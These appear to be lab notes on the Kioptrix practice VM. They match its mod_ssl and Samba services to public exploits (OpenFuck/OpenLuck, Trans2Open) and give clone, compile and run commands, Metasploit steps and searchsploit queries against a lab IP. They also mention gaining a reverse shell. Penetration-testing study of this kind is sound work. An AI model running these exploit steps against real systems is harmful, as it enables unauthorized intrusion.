Researching Potential Vulnerabilities
Mapping the services found on Kioptrix to known exploits, and the tools used to research them.
80/443 - OpenFuck / mod_ssl
80/443 - Potentially vulnerable to OpenLuck (https://www.exploit-db.com/exploits/764 -- dated and doesn't normally work), (https://github.com/heltonWernik/OpenLuck -- does work)
Clone the exploit and install the SSL dev headers:
cd kioptrix/
git clone https://github.com/heltonWernik/OpenFuck.git
cd OpenFuck/
apt install libssl-dev
To help run gcc (c++ file)
Compile it:
gcc -o Open OpenFuck.c -lcrypto
-o= outputWe specify 'Open' as our file name
Run it against the target:
./Open 0x6b 192.168.57.4 -c 40
Might be vulnerable. Test with searchsploit: mod_ssl/2.8.4.
Samba 2.2.1a - Trans2Open
Samba 2.2.1a - Vulnerable to Trans2Open. Since it's operating on an x86 linux system and IPC is accessible, we can utilize msf to exploit.
(https://www.rapid7.com/db/modules/exploit/linux/samba/trans2open), (https://www.exploit-db.com/exploits/7), (https://www.exploit-db.com/exploits/10)
Example Trans2Open via Msf
use exploit/linux/samba/trans2open
show targets
set TARGET <target-ID>
show options
set options
exploit
Searchsploit
Another tool besides Google to research exploits is Searchsploit. WARNING: Don't be too specific, as it will limit results.
Example
searchsploit Samba 2
searchsploit mod ssl 2
*Comes up with exploits/unix/remote/21671.c and two more for remote code execution. Possible avenue to generate a reverse shell.